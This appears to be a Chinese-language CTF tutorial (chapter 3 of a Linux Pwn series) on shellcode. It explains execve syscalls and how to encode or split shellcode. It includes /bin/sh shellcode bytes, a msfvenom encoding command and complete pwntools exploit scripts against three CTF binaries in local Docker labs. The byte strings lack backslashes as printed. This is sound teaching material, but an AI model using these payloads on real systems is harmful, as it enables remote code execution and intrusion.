這是一套Linux Pwn入門教程系列,作者依據i春秋Pwn入門課程中的技術分類,並結合近幾年賽事中出現的一些題目和文章整理出一份相對完整的Linux Pwn教程。

課程回顧>>

Linux Pwn入門教程第一章:環境配置

Linux Pwn入門教程第二章:棧溢出基礎

本系列教程僅針對i386/amd64下的Linux Pwn常見的Pwn手法,如棧,堆,整數溢出,格式化字元串,條件競爭等進行介紹,所有環境都會封裝在Docker鏡像當中,並提供調試用的教學程序,來自歷年賽事的原題和帶有注釋的python腳本。

今天是Linux Pwn入門教程第三章:ShellCode的使用、原理與變形,本文篇幅較長,希望大家耐心看完,閱讀用時約15分鐘。

ShellCode的使用

在上一篇文章中我們學習了怎麼使用棧溢出劫持程序的執行流程。為了減少難度,演示和作業題程序裏都帶有很明顯的後門。然而在現實世界裡並不是每個程序都有後門,即使是有,也沒有那麼好找。因此,我們就需要使用定製的ShellCode來執行自己需要的操作。

首先我們把演示程序~/Openctf 2016-tyro_shellcode1/tyro_shellcode1複製到32位的Docker環境中並開啟調試器進行調試分析。需要注意的是,由於程序帶了一個很簡單的反調試,在調試過程中可能會彈出如下窗口:

此時點OK,在彈出的Exception handling窗口中選擇No(discard)丟棄掉SIGALRM信號即可。

與上一篇教程不同的是,這次的程序並不存在棧溢出。從F5的結果上看程序使用read函數讀取的輸入甚至都不在棧上,而是在一片使用mmap分配出來的內存空間上。

通過調試,我們可以發現程序實際上是讀取我們的輸入,並且使用call指令執行我們的輸入。也就是說我們的輸入會被當成彙編代碼被執行。

顯然,我們這裡隨便輸入的「12345678」有點問題,繼續執行的話會出錯。不過,當程序會把我們的輸入當成指令執行,ShellCode就有用武之地了。

首先我們需要去找一個ShellCode,我們希望ShellCode可以打開一個Shell以便於遠程控制只對我們暴露了一個10001埠的Docker環境,而且ShellCode的大小不能超過傳遞給read函數的參數,即0x20=32。我們通過著名的shell-storm.org的ShellCode資料庫shell-storm.org/shellco找到了一段符合條件的ShellCode。

21個位元組的執行sh的ShellCode,點開一看裡面還有代碼和介紹。我們先不管這些介紹,把ShellCode取出來。

使用Pwntools庫把ShellCode作為輸入傳遞給程序,嘗試使用io.interactive( )與程序進行交互,發現可以執行shell命令。

當然,shell-storm上還有可以執行其他功能如關機,進程炸彈,讀取/etc/passwd等的ShellCode,大家也可以試一下。總而言之,ShellCode是一段可以執行特定功能的神祕代碼。那麼ShellCode是怎麼被編寫出來,又是怎麼執行指定操作的呢?我們繼續來深挖下去。

ShellCode的原理

這次我們直接把斷點下在call eax上,然後F7跟進。

可以看到我們的輸入變成了如下彙編指令:

我們可以選擇Options->General,把Number of opcode bytes (non-graph)的值調大。

會發現每條彙編指令都對應著長短不一的一串16進位數。

對彙編有一定了解的讀者應該知道,這些16進位數串叫做opcode。opcode是由最多6個域組成的,和彙編指令存在對應關係的機器碼。或者說可以認為彙編指令是opcode的「別名」。易於人類閱讀的彙編語言指令,如xor ecx, ecx等,實際上就是被彙編器根據opcode與彙編指令的替換規則替換成16進位數串,再與其他數據經過組合處理,最後變成01字元串被CPU識別並執行的。

當然,IDA之類的反彙編器也是使用替換規則將16進位串處理成彙編代碼的。所以我們可以直接構造合法的16進位串組成的opcode串,即ShellCode,使系統得以識別並執行,完成我們想要的功能。關於opcode六個域的組成及其他深入知識此處不再贅述,感興趣的讀者可以在Intel官網獲取開發者手冊或其他地方查閱資料進行了解並嘗試查表閱讀機器碼或者手寫ShellCode。

系統調用

我們繼續執行這段代碼,可以發現EAX, EBX, ECX, EDX四個寄存器被先後清零,EAX被賦值為0Xb,ECX入棧,「/bin//sh」字元串入棧,並將其首地址賦給了EBX,最後執行完int 80h,IDA彈出了一個warning窗口顯示got SIGTRAP signal。

點擊OK,繼續F8或者F9執行,選擇Yes(pass to app) ,然後在python中執行io.interactive( )進行手動交互,隨便輸入一個shell命令如ls,在IDA窗口中再次按F9,彈出另一個捕獲信號的窗口。

同樣OK後繼續執行,選擇Yes(pass to app),發現python窗口中的shell命令被成功執行。

那麼問題來了,我們這段ShellCode裡面並沒有system這個函數,是誰實現了「system("/bin/sh")」的效果呢?事實上,通過剛剛的調試大家應該能猜到是陌生的int 80h指令。查閱intel開發者手冊我們可以知道int指令的功能是調用系統中斷,所以int 80h就是調用128號中斷。在32位的linux系統中,該中斷被用於呼叫系統調用程序system_call( ),我們知道出於對硬體和操作系統內核的保護,應用程序的代碼一般在保護模式下運行。

在這個模式下我們使用的程序和寫的代碼是沒辦法訪問內核空間的。但是我們顯然可以通過調用read( ), write( )之類的函數從鍵盤讀取輸入,把輸出保存在硬碟裏的文件中。那麼read( ), write( )之類的函數是怎麼突破保護模式的管制,成功訪問到本該由內核管理的這些硬體呢?

答案就在於int 80h這個中斷調用。不同的內核態操作通過給寄存器設置不同的值,再調用同樣的指令int 80h,就可以通知內核完成不同的功能。而read( ), write( ), system( )之類的需要內核「幫忙」的函數,就是圍繞這條指令加上一些額外參數處理,異常處理等代碼封裝而成的。32位linux系統的內核一共提供了0~337號共計338種系統調用用以實現不同的功能。

知道了int 80h的具體作用之後,我們接著去查表看一下如何使用int 80h實現system("/bin/sh")。通過syscalls.kernelgrok.com,我們沒找到system,但是找到了這個:

對比我們使用的ShellCode中的寄存器值,很容易發現ShellCode中的EAX = 0Xb = 11,EBX = &(「/bin//sh」), ECX = EDX = 0,即執行了sys_execve("/bin//sh", 0, 0, 0),通過/bin/sh軟鏈接打開一個shell,所以我們可以在沒有system函數的情況下打開shell。需要注意的是,隨著平臺和架構的不同,呼叫系統調用的指令,調用號和傳參方式也不盡相同,例如64位linux系統的彙編指令就是syscall,調用sys_execve需要將EAX設置為0x3B,放置參數的寄存器也和32位不同。

ShellCode的變形

在很多情況下,我們多試幾個ShellCode,總能找到符合能用的。但是在有些情況下,為了成功將ShellCode寫入被攻擊的程序的內存空間中,我們需要對原有的ShellCode進行修改變形以避免ShellCode中混雜有x00, x0A等特殊字元,或是繞過其他限制。有時候甚至需要自己寫一段ShellCode。我們通過兩個例子分別學習一下如何使用工具和手工對ShellCode進行變形。

首先我們分析例子~/BSides San Francisco CTF 2017-b_64_b_tuff/b-64-b-tuff.從F5的結果上看,我們很容易知道這個程序會將我們的輸入進行base64編碼後作為彙編指令執行(注意存放base64編碼後結果的字元串指針ShellCode在return 0的前一行被類型強轉為函數指針並調用)

雖然程序直接給了我們執行任意代碼的機會,但是base64編碼的限制要求我們的輸入必須只由0-9,a-z,A-Z,+,/這些字元組成,然而我們之前用來開shell的ShellCode

"x31xc9xf7xe1xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"顯然含有大量的非base64編碼字元,甚至包含了大量的不可見字元。因此,我們就需要對其進行編碼。

在不改變ShellCode功能的情況下對其進行編碼是一個繁雜的工作,因此我們首先考慮使用工具。事實上,pwntools庫中自帶了一個encode類用來對ShellCode進行一些簡單的編碼,但是目前encode類的功能較弱,似乎無法避開太多字元,因此我們需要用到另一個工具msfVENOM。由於kali中自帶了metasploit,使用kali的讀者可以直接使用。

首先我們查看一下msfvenom的幫助選項:

顯然,我們需要先執行msfvenom -l encoders挑選一個編碼器

圖中的x86/alpha_mixed可以將shellcode編碼成大小寫混合的代碼,符合我們的條件。所以我們配置命令參數如下:python -c import sys; sys.stdout.write("x31xc9xf7xe1xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80") | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux BufferRegister=EAX -o payload

我們需要自己輸入ShellCode,但msfvenom只能從stdin中讀取,所以使用linux管道操作符「|」,把ShellCode作為python程序的輸出,從python的stdout傳送到msfvenom的stdin。此外配置編碼器為x86/alpha_mixed,配置目標平臺架構等信息,輸出到文件名為payload的文件中。最後,由於在b-64-b-tuff中是通過指令call eax調用shellcode的

所以配置BufferRegister=EAX。最後輸出的payload內容為:

PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh6ODoaccXU8ToE2bIbNLIXcHMOpAA

編寫腳本如下:

#!/usr/bin/python
#coding:utf-8
from pwn import *
from base64 import *
context.update(arch = i386, os = linux, timeout = 1)
io = remote(172.17.0.2, 10001)
shellcode = b64decode("PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh6ODoaccXU8ToE2bIbNLIXcHMOpAA")
print io.recv()
io.send(shellcode)
print io.recv()
io.interactive()

成功獲取shell

工具雖然好用,但也不是萬能的。有的時候我們可以成功寫入ShellCode,但是ShellCode在執行前甚至執行時卻會被破壞。當破壞難以避免時,我們就需要手工拆分ShellCode,並且編寫代碼把兩段分開的ShellCode再「連」到一起。比如例子~/CSAW Quals CTF 2017-pilot/pilot

這個程序的邏輯同樣很簡單,程序的main函數中存在一個棧溢出。

使用Pwntools自帶的檢查腳本checksec檢查程序,發現程序存在著RWX段(同linux的文件屬性一樣,對於分頁管理的現代操作系統的內存頁來說,每一頁也同樣具有可讀(R),可寫(W),可執行(X)三種屬性。只有在某個內存頁具有可讀可執行屬性時,上面的數據才能被當做彙編指令執行,否則將會出錯)

調試運行後發現這個RWX段其實就是棧,且程序還泄露出了buf所在的棧地址。

所以我們的任務只剩下找到一段合適的ShellCode,利用棧溢出劫持RIP到ShellCode上執行。所以我們寫了以下腳本:

#!/usr/bin/python
#coding:utf-8
from pwn import *
context.update(arch = amd64, os = linux, timeout = 1)
io = remote(172.17.0.3, 10001)
shellcode = "x48x31xd2x48xbbx2fx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x50x57x48x89xe6xb0x3bx0fx05"
#xor rdx, rdx
#mov rbx, 0x68732f6e69622f2f
#shr rbx, 0x8
#push rbx
#mov rdi, rsp
#push rax
#push rdi
#mov rsi, rsp
#mov al, 0x3b
#syscall
print io.recvuntil("Location:") #讀取到"Location:",緊接著就是泄露出來的棧地址
shellcode_address_at_stack = int(io.recv()[0:14], 16) #將泄露出來的棧地址從字元串轉換成數字
log.info("Leak stack address = %x", shellcode_address_at_stack)
payload = ""
payload += shellcode #拼接shellcode
payload += "x90"*(0x28-len(shellcode)) #任意字元填充到棧中保存的RIP處,此處選用了空指令NOP,即x90作為填充字元
payload += p64(shellcode_address_at_stack) #拼接shellcode所在的棧地址,劫持RIP到該地址以執行shellcode
io.send(payload)
io.interactive()

但是執行時卻發現程序崩潰了。

很顯然,我們的腳本出現了問題。我們直接把斷點下載main函數的retn處,跟進到ShellCode看看發生了什麼:

從這四張圖和ShellCode的內容我們可以看出,由於ShellCode執行過程中的push,最後一部分會在執行完push rdi之後被覆蓋從而導致ShellCode失效。因此我們要選一個更短的ShellCode,或者就對其進行改造。鑒於ShellCode不好找,我們還是選擇改造。

首先我們會發現在ShellCode執行過程中只有返回地址和上面的24個位元組會被push進棧的寄存器值修改,而棧溢出最多可以向棧中寫0x40=64個位元組。結合對這個題目的分析可知在返回地址之後還有16個位元組的空間可寫。根據這四張圖顯示出來的結果,push rdi執行後下一條指令就會被修改,因此我們可以考慮把ShellCode在push rax和push rdi之間分拆成兩段,此時push rdi之後的ShellCode片段為8個位元組,小於16位元組,可以容納。

接下來我們需要考慮怎麼把這兩段代碼連在一起執行。我們知道,可以打破彙編代碼執行的連續性的指令就那麼幾種,call,ret和跳轉。前兩條指令都會影響到寄存器和棧的狀態,因此我們只能選擇使用跳轉中的無條件跳轉jmp,我們可以去查閱前面提到過的Intel開發者手冊或其他資料找到jmp對應的位元組碼,不過幸運的是這個程序中就帶了一條。

從圖中可以看出jmp short locret_400B34的位元組碼是EB 05。顯然,jmp短跳轉(事實上jmp的跳轉有好幾種)的位元組碼是EB。至於為什麼距離是05而不是0x34-0x2D=0x07,是因為距離是從jmp的下一條指令開始計算的。因此,我們以此類推可得我們的兩段ShellCode之間跳轉距離應為0x18,所以添加在第一段ShellCode後面的位元組為xebx18,添加兩個位元組也剛好避免第一段ShellCode的內容被rdi的值覆蓋。所以正確的腳本如下:

#!/usr/bin/python
#coding:utf-8
from pwn import *
context.update(arch = amd64, os = linux, timeout = 1)
io = remote(172.17.0.3, 10001)
#shellcode = "x48x31xd2x48xbbx2fx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x50x57x48x89xe6xb0x3bx0fx05"
#原始的shellcode。由於shellcode位於棧上,運行到push rdi時棧頂正好到了x89xe6xb0x3bx0fx05處,rdi的值會覆蓋掉這部分shellcode,從而導致執行失敗,所以需要對其進行拆分
#xor rdx, rdx
#mov rbx, 0x68732f6e69622f2f
#shr rbx, 0x8
#push rbx
#mov rdi, rsp
#push rax
#push rdi
#mov rsi, rsp
#mov al, 0x3b
#syscall
shellcode1 = "x48x31xd2x48xbbx2fx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x50"
#第一部分shellcode,長度較短,避免尾部被push rdi污染
#xor rdx, rdx
#mov rbx, 0x68732f6e69622f2f
#shr rbx, 0x8
#push rbx
#mov rdi, rsp
#push rax
shellcode1 += "xebx18"
#使用一個跳轉跳過被push rid污染的數據,接上第二部分shellcode繼續執行
#jmp short $+18h
shellcode2 = "x57x48x89xe6xb0x3bx0fx05"
#第二部分shellcode
#push rdi
#mov rsi, rsp
#mov al, 0x3b
#syscall
print io.recvuntil("Location:") #讀取到"Location:",緊接著就是泄露出來的棧地址
shellcode_address_at_stack = int(io.recv()[0:14], 16) #將泄露出來的棧地址從字元串轉換成數字
log.info("Leak stack address = %x", shellcode_address_at_stack)
payload = ""
payload += shellcode1 #拼接第一段shellcode
payload += "x90"*(0x28-len(shellcode1)) #任意字元填充到棧中保存的RIP處,此處選用了空指令NOP,即x90作為填充字元
payload += p64(shellcode_address_at_stack) #拼接shellcode所在的棧地址,劫持RIP到該地址以執行shellcode
payload += shellcode2 #拼接第二段shellcode
io.send(payload)
io.interactive()

以上是今天的內容,大家看懂了嗎?後面我們將持續更新Linux Pwn入門教程的相關章節,希望大家及時關注。


推薦閱讀:
相關文章